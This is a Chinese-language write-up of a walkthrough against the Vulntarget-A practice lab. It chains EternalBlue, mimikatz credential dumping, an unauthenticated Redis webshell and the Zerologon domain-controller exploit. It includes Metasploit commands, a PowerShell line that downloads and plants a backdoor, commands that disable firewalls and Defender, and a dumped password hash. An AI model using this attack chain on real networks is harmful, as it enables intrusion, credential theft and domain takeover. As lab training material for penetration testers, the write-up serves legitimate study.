内网靶场渗透实战-Vulntarget-A
前言
靶机地址:Vulntarget 👋
网络拓扑:
WIN 7外网地址:192.168.158.203
攻击机:192.168.112.147
公网主机:47.XX.X.XX
攻击机使用WIN11与WSL2 KALI (镜像网络,强烈推荐,各种代理确实方便)
WIN 7
信息收集
用最低5000的速率扫描192.168.158.203全端口
1 |
|
看到暴露的端口,我们心底需要对其重要性做一个排序,例如这里,首要攻击点肯定是80或者445
1 |
|
对端口做更详细的扫描,看到是WIN7的主机,并且暴露了445端口,那不经让我们想到 MS17-101,继续使用NMAP自带的漏洞扫描脚本,看看有没有低摘的果子
1 |
|
坐实了永恒之蓝,优先级肯定是比80端口高,直接用MSF打就行
永恒之蓝利用
同时注意到我们的靶机的IP为192.168.158.203,攻击机的IP为192.168.112.147,那这MSF肯定不能直接使用反向SHELL,因为不在一个网段,反弹不回来
解决办法暂时可以想到两点:
- 使用正向的payload,但是同时又有问题,假如靶机的防火墙开着(事实上也确实开着),那这个方法也不行,我们根本连接不到靶机的其他端口
- 使用公网主机当跳板机
Frpc配置文件:
将本机的4444端口,转发到公网主机的4445
本机6000->公网主机6000;本机8000->公网主机8000;本机9000->公网主机9000;
Frps配置文件:
公网主机连接7000端口就行
开启msf
,搜索search ms17-010
使用set exploit/windows/smb/ms17_010_eternalblue
show options
查看需要的参数
设置 RHOSTS、LHOST、LPORT
注意要将LHOST、LPORT设置刚刚Frp转发到的公网主机的IP和端口
另外开一个MSF监听
加载监听模块 use exploit/multi/handler
设置反向payload set payload windows/x64/meterpreter/reverse_tcp
先run起来
然后再run前面的攻击模块
可以参考这篇文章看我用内网MSF打公网永恒之蓝
看到是双网卡的机器
没有杀软
退出终端,加载mimikataz
模块;抓一下密码,看到用户名是win7;密码是admin,并且不在域内
run get_local_subnets
查看本地网络连接子网段
添加一条动态路由run autoroute -s 10.0.20.0/24
看一下存活主机use post/windows/gather/arp_scanner
可以看到10.0.20.99这台机器
WIN7上线CS
方式一:MSF会话注入CS
已经拿到meterpreter,可以直接利用MSF会话注入CS
使用payload_inject模块use exploit/windows/local/payload_inject
HOST设置成为公网主机地址,端口设置成刚刚FRP转发的端口6000
sessions -l
查看当前会话
我这里会话ID是1,直接使用,set disablepayloadhandler true
不让MSF启动监听器
CS监听公网主机的地址和6000端口
讲一下为什么这样设置,payload_inject
模块LHOST
如果设置成192.168.112.147,LPORT为4444的话,payload会试图直接连接到攻击机的地址和端口 (192.168.112.147:4444
),这个连接肯定无法建立,因为 192.168.112.147
是一个私有 IP 地址,不可通过公网直接访问。当你设置 LHOST
为 公网主机地址
和 LPORT
为 6000
时,payload 会连接到外网主机的 IP 和端口,通过 FRP,已经将攻击机的 6000
端口穿透到公网的 6000
端口。因此,靶机可以通过公网访问到这个地址,并成功上线到 CS。
方式二:上传后门
使用刚刚的监听器生成后门
通过MSF上传文件命令 upload
上传,execute
执行
通达OA利用
上面我们提到了80端口,看到是通达oa,通达历史上也爆过很多漏洞,GitHub很多开源的工具,直接梭哈
Server 2016
信息收集
在上面查看一下存活主机的时候看到一个IP地址为10.0.20.99的机器
我们不能直接和10.0.20.99通信,WIN7可以,直接使用WIN7做一个socks代理
修改proxychains的配置
通过nmap扫描目标IP的常用端口
proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080
对于扫描结果我们同样也是值得关注的,80与6379端口
6379端口如果是未授权访问或者是知道密钥的情况下的利用方式有:WEBSHELL、计划任务、写入SSH公钥等等
去看看80端口是什么东西,同样的,我们不能直接访问,还是利用刚刚的socks代理
Proxifier是windows下面类似于proxychains的软件,由于我们WSL2是镜像网络,那Proxifier直接使用刚刚的socks端口即可;访问10.0.20.99我们看到是一个WEB页面
直接dirsearch开扫,l.php和phpinfo.php都暴露了绝对路径
Redis未授权利用
根据前边80站点拿到的路径,通过redis-cli
咱们直接写入webshell;
随后哥斯拉启动!
Server2016上线CS
同样的两种方式:
- 因为我们已经上线了WIN7,那转发上线,用哥斯拉上传后门(这样需要关闭WIN7防火墙)
- 生成一个正向的监听器和后门,前面通过哥斯拉已经得到SHELL,用哥斯拉上传后门(这样需要关闭Server2016防火墙)
殊途同归,我这里使用转发上线
WIN7关闭防火墙命令
1 |
|
建监听器
使用刚刚的监听器创建后门
哥斯拉上传并执行后门,CS上线一气呵成;
域内信息收集
ipconfig /all
一样的双网卡,在域内
tasklist /svc
显示当前系统中正在运行的所有进程及其关联的服务
很好奇啊,有杀软为啥没有杀后门啊
关闭Windows Defender
1 |
|
quser
显示当前登录到本地计算机或远程计算机上的用户信息
netsh advfirewall show allprofiles
查看一下防火墙
可以看到 入站流量默认被阻止,出站流量默认被允许
手动关一下netSh advfirewall set allprofiles state off
通过端口扫描,发现了一台新的机器 10.0.10.110
定位域控
查找域控计算机名 net group "domain controllers" /domain
从而得知,域控主机名字为 WIN2019,IP地址为10.0.10.110
Server 2019
同样的我们现在的socks代理是WIN7的,只能和Server2016通信,并不能直接通信域控主机,Server2016能和域控通信,我们通过Server2016建立socks代理
proxychians改一下配置文件
CVE-2020-1472
接着拿域控大杀器Zerologon漏洞打一下(CVE-2020-1472)
https://github.com/SecuraBV/CVE-2020-1472
就可以看到是检测出来有漏洞的
利用https://github.com/dirkjanm/CVE-2020-1472
先将密码置空
https://github.com/dirkjanm/CVE-2020-1472
下载impacket工具包
https://github.com/fortra/impacket
利用impacket工具包中examples目录下的secretsdump.py获取hash值
得到了hashAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
利用smbexex.py
或 wmiexec.py
横向移动,拿下域控
1 |
|
1 |
|
上线CS
创建一个正向监听器
使用刚刚创建的监听器,创建后门 (检查的时候发现这张图有问题,应该选择Windows Stageless Payload)
因为Server2016有web服务,Server2016和2019能通信,直接上传后门
Server2019下载后门powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/Z.exe','C:\Z.exe')
Server2016 Beacon主动连接一下shell connect 10.0.10.110 4444
远程桌面连接
设置一下SOCKS 代理
开启远程登录,防火墙允许TCP通信3389
1 |
|
密钥的话可以用刚刚获得Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
破解一下
或者添加一个管理员用户
1 |
|
总结
这套靶机主要考验,正、反向连接之间与防火墙的关系;socks代理;比较知名的漏洞永恒之蓝、CVE-2020-1472的利用方式;以及一些内网常用的命令。